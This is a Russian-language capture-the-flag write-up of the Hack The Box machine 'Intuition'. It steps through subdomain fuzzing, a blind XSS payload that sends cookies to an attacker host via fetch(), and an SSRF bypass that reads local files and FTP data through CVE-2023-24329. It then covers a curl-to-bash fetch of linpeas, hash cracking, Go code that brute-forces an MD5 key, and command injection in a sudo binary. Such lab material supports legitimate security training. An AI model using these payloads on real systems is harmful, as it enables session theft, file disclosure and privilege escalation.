Перейти к содержанию
  1. Посты/

Intuition HTB

·7 минут

В этой статье мы разберем пошаговый процесс взлома одной из машин на платформе Hack The Box, начиная с разведки и заканчивая получением привилегий суперпользователя. Независимо от вашего уровня подготовки, вы найдете полезные советы и техники, которые помогут улучшить ваши навыки в области информационной безопасности.

Описание #

Машина: Intuition
Сложность: Hard
ОС: Linux

User flag #

Как обычно, перед началом работы, необходимо просканировать сервер на открытые порты. Используем инструмент nmap для сканирования сети и определения открытых портов и сервисов.

sudo nmap -sV -sC -O -Pn -oA nmapscan 10.10.11.15
Nmap scan report for comprezzor.htb (10.10.11.15)
Host is up (0.078s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 b3:a8:f7:5d:60:e8:66:16:ca:92:f6:76:ba:b8:33:c2 (ECDSA)
|_  256 07:ef:11:a6:a0:7d:2b:4d:e8:68:79:1a:7b:a7:a9:cd (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Comprezzor
|_http-server-header: nginx/1.18.0 (Ubuntu)

Ничего стоящего для нашего внимания нет. Далее, добавим домен в hosts.

echo "10.10.11.15 comprezzor.htb" | sudo tee -a /etc/hosts

После завершения сканирования перед просмотром Web-страницы, запустим поиск поддоменов, для этого используем инструмент ffuf.

ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -u http://comprezzor.htb -H "HOST: FUZZ.comprezzor.htb"

ffuf result
ffuf result

Чтобы избавиться от ненужных результатов, исключим ответы размером 178.

ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -u http://comprezzor.htb -H "HOST: FUZZ.comprezzor.htb" -fs 178

ffuf result
ffuf result

В результате получим три поддомена и сразу добавим их в hosts.

echo "10.10.11.15 auth.comprezzor.htb" | sudo tee -a /etc/hosts
echo "10.10.11.15 report.comprezzor.htb" | sudo tee -a /etc/hosts
echo "10.10.11.15 dashboard.comprezzor.htb" | sudo tee -a /etc/hosts

Теперь можем изучить Web-страницы. Первым рассмотрим comprezzor.htb. При открытии этого домена видим возможность загружать и сжимать файлы.

comprezzor.htb
comprezzor.htb

Рассмотрим следующие поддомены: report.comprezzor.htb.

report.comprezzor.htb
report.comprezzor.htb

Чтобы воспользоваться формой отправки репортов перейдем на страницу регистрации в auth.comprezzor.htb. После регистрации и входа в аккаунт появится возможность отправить репорты через форму.

report.comprezzor.htb
report.comprezzor.htb

После появления формы, приступим к поиску уязвимости на XSS. И через несколько попыток найдем нужную полезную нагрузку для эксплуатации Blind XSS. Можно прочитать про уязвимость здесь Blind XSS

<img src=x onerror=fetch("http://<ip>:<port>/"+document.cookie);>

И в итоге у нас получится перехватить куки.

cookies
cookies
Используя эти куки, получим доступ к dashboard.comprezzor.htb.
dashboard.comprezzor.htb
dashboard.comprezzor.htb
Посмотрев все репорты, понимаем, что получили возможность удалять, изменять статус на “решено” или повышать/понижать важность репорта.
report
report
Следующий шаг пока не ясен, попробуем ради интереса расшифровать куки пользователя.
base64 decode result
base64 decode result
Обнаружив ID пользователя 2 и роль webdev, предположим, что есть еще один пользователь. Учитывая возможность повышения важности репорта, предположим, что таким образом репорт может быть передан пользователю с более высокими привилегиями. Повторим шаги с Blind XSS, а затем увеличим важность репорта, чтобы получить куки другого пользователя. В итоге мы достигнем такого результата:
admin cookies
admin cookies
admin cookies decode
admin cookies decode
Используя сеанс администратора, получим доступ к функциям администратора и сразу обнаружим наличие формы для создания PDF-отчетов.
admin panel
admin panel
pdf from report
pdf from report
После безуспешных попыток внедрить вредоносный файл для выполнения удаленного кода (RCE) на сервере путем запуска локального сервера, попробуем просто указать наш эндпоинт и посмотреть заголовки запроса.
request headers
request headers
Нас интересует вот эта строка:

User-Agent: Python-urllib/3.11

Сервер использует библиотеку Python-urllib версии 3.11. Попробуем найти информацию об этой версии библиотеки в интернете. Обнаружим уязвимость CVE-2023-24329. Где говорится что An issue in the urllib.parse component of Python before 3.11.4 allows attackers to bypass blocklisting methods by supplying a URL that starts with blank characters. Получается, что если эта библиотека видит в начале пустой символ, то у нее не получится спарсить url-адрес и проанализировать протокол адреса, что, в свою очередь, позволяет обойти фильтрацию протоколов. Соответственно, используя схему file, можно получить контент локальных файлов на сервере.

 file:///etc/passwd

Для того чтобы узнать, какой процесс выполняет данный код и с какими аргументами была вызвана команда процесса, прочитаем содержимое этого файла.

 file:///proc/self/cmdline

process
process

Прочтем код входного файла проекта.

 file:///app/code/app.py

/app/code/app.py
/app/code/app.py
Обратим внимание на секретный ключ, и на то, что дебаг-мод отключен, поэтому продолжим изучение файла. Также обратим внимание, что в начале файла есть импорт других файлов. Попробуем получить код этих файлов для дальнейшего анализа.

 file:///app/code/blueprints/report/report.py

report.py
report.py
Ничего интересного, смотрим дальше.

 file:///app/code/blueprints/auth/auth.py

auth.py
auth.py
Ничего интересного, смотрим дальше.

 file:///app/code/blueprints/dashboard/dashboard.py

dashboard.py
dashboard.py
В данном файле обнаружим данные от FTP-аккаунта. Однако мы не можем подключиться к нему напрямую, так как порт закрыт. Мы можем использовать уязвимость SSRF (Server-Side Request Forgery), связанную с CVE-2023-24329, чтобы получить доступ к FTP через локальное подключение.

 ftp://ftp_admin:u3jai8y71s2@ftp.local

ftp_admin files
ftp_admin
Поочередно получим все файлы и сохраним их у себя.

 ftp://ftp_admin:u3jai8y71s2@ftp.local/welcome_note.txt
 ftp://ftp_admin:u3jai8y71s2@ftp.local/private-8297.key

Изменим права доступа к файлу ключа.

chmod 400 private-8297.key

Внутри текстового файла с приветствием обнаружим пароль для расшифровки файла приватного ключа.

welcome_note.txt
welcome_note.txt
И успешно получим user flag.
ssh dev_acc
ssh dev_acc

Root flag #

Следующим шагом попробуем найти что-то полезное с помощью linpeas.

curl -L http://<ip>:<port>/linpeas.sh | bash

В результате сканирования найдем файл базы данных пользователей и несколько открытых портов.

linpeas dbs
linpeas db files
linpeas ports
linpeas ports
Далее, для удобства, скачаем файл users.db к себе.

scp -i id_rsa dev_acc@comprezzor.htb:/var/www/app/blueprints/auth/users.db ./users.db

Проверим, какие там есть данные.

users.db
users.db
Обнаружим хешированные пароли пользователей, попробуем определить, что за хеш, с помощью hashid.
hashid
hashid
И с помощью справочника получим hash-mode 30120 Далее, используем hashcat

hashcat -m 30120 hash /usr/share/wordlists/seclists/Passwords/Leaked-Databases/rockyou.txt
# sha256$Z7bcBO9P43gvdQWp$a67ea5f8722e69ee99258f208dc56a1d5d631f287106003595087cf42189fc43:adam gray

Получив ошибку “неверный пароль” при попытке подключения по SSH, перейдем к следующему шагу. Учитывая, что на атакуемой машине работает FTP-сервер, используем новые данные для подключения. И вуаля, найдем три файла.

adam ftp
adam ftp
Копируем все эти файлы к себе и изучим содержимое. В файле run-test.sh обнаружим первые 8 символов пароля.
run-test.sh
run-test.sh
При анализе кода файла runner1.c, обнаружим, что мы имеем дело с ansible-playbook, и этот код позволяет просмотреть, запустить или же установить ansible-конфигурации по адресу /opt/playbooks/. Также отметим функцию, которая проверяет пароль, и только потом позволяет запустить программу.
runner1.c
runner1.c
Проведем анализ этой функции построчно.

#define AUTH_KEY_HASH "0feda17076d793c2ef2870d7427ad4ed"

// Она получает всего лишь один параметр auth_key
// который получает из командной строки в аргументах при запуске программы
int check_auth(const char* auth_key) {
    // вычисляет MD5-хэш значения auth_key и хранит результат в digest
    unsigned char digest[MD5_DIGEST_LENGTH];
    MD5((const unsigned char*)auth_key, strlen(auth_key), digest);
    char md5_str[33];

    // цикл преобразует каждый байт хэша digest в hex формат и хранит результат в md5_str
    // в итоге получается строка длиною 32 символа
    // md5_str имеет размер 33 для нуль-терманатора который по сути обозначает конец строки
    for (int i = 0; i < 16; i++) {
        sprintf(&md5_str[i*2], "%02x", (unsigned int)digest[i]);
    }

    // в конце производится сравнение полученной строки с строкой константой AUTH_KEY_HASH
    if (strcmp(md5_str, AUTH_KEY_HASH) == 0) {
        return 1;
    } else {
        return 0;
    }
}

Эта функция вычисляет MD5 введенного пароля, затем преобразует его в шестнадцатеричную строку и сравнивает с AUTH_KEY_HASH. Зная, как работает функция и имея AUTH_KEY_HASH, мы можем написать код, который просто брутфорсом найдет последние 4 символа. Будем использовать для этого язык программирования Go.

Click to see go code
package main

import (
 "crypto/md5"
 "encoding/hex"
 "fmt"
)

const (
 knownPart  = "UHI75GHI"
 targetHash = "0feda17076d793c2ef2870d7427ad4ed"
 charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
)

func computeMD5Hash(s string) string {
 hash := md5.Sum([]byte(s))
 return hex.EncodeToString(hash[:])
}

func findAuthKey(current string, length int) string {
 if length == 0 {
  candidateKey := knownPart + current
  candidateHash := computeMD5Hash(candidateKey)

  if candidateHash == targetHash {
   return candidateKey
  }
  return ""
 }

 for _, char := range charset {
  result := findAuthKey(current+string(char), length-1)
  if result != "" {
   return result
  }
 }

 return ""
}

func main() {
 length := 4
 authKey := findAuthKey("", length)

 if authKey != "" {
  fmt.Printf("The auth_key is: %s\n", authKey)
 }
}

password
brute force result
После неудачных попыток использовать этот пароль для подключения по SSH или FTP, а также безуспешного повторного просмотра анализа linpeas.sh, посмотрим логи в поиске чего-то полезного. Для общего поиска мы можем использовать соответствующие команды.

grep -Ril 'password' /var/log/*/*

В итоге, логи не содержат полезной информации, перейдем к поиску в .gz архивах.

zgrep -i 'password' -n /var/log/*/*

zgrep result
zgrep result
Обнаружив логи подключения по FTP-пользователя lopez, заметим, что FTP-server требует пароль для этого пользователя. Чтобы обнаружить следующие логи, воспользуемся flow_id, что позволит успешно найти данные пользователя lopez.
zgrep result
zgrep result
После подключения по SSH проверим, что может запустить пользователь из-под sudo.
ssh lopez
ssh lopez
Заметим, что из-под sudo можно запустить бинарный файл runner2. Скопируем его к себе и попробуем понять, что делает приложение. При запуске заметим, что приложение от нас требует json-файл.
runner2
runner2
Посмотрим бинарный файл с помощью ghidra. Обнаружим, что после успешного открытия json-файла, приложение ищет свойство run.
ghidra
main
Затем увидим, что дальнейшее действие определяется значением свойства action внутри run.
ghidra
main
action может принимать одно из следующих значений: list -> показать список всех .yml файлов из /opt/playbooks.
ghidra
listPlaybooks
run -> запустить один из этих .yml файлов.
ghidra
runPlaybook
install -> позволяет установить роль с помощью ansible-galaxy.
ghidra
install
ghidra
installRole
Обнаружим, что значение свойства role_file встраивается как строка в команду, в этом и заключается уязвимость, которая позволит выполнить любую команду из-под sudo. Следует отметить, что в коде есть проверка на валидность архива, т.е. для архива будем использовать что-нибудь готовое из интернета. Помним про функцию check_auth, которая проверяет пароль. При просмотре кода заметим, что это тот хеш, к которому мы подобрали пароль с помощью брутфорса. В json-файле пароль находится рядом со свойством run.
ghidra
check_auth
Имея все эти знания, создадим наш json-файл.
role.json
role.json
tar archive
tar archive
И получим root флаг.
root.txt
root.txt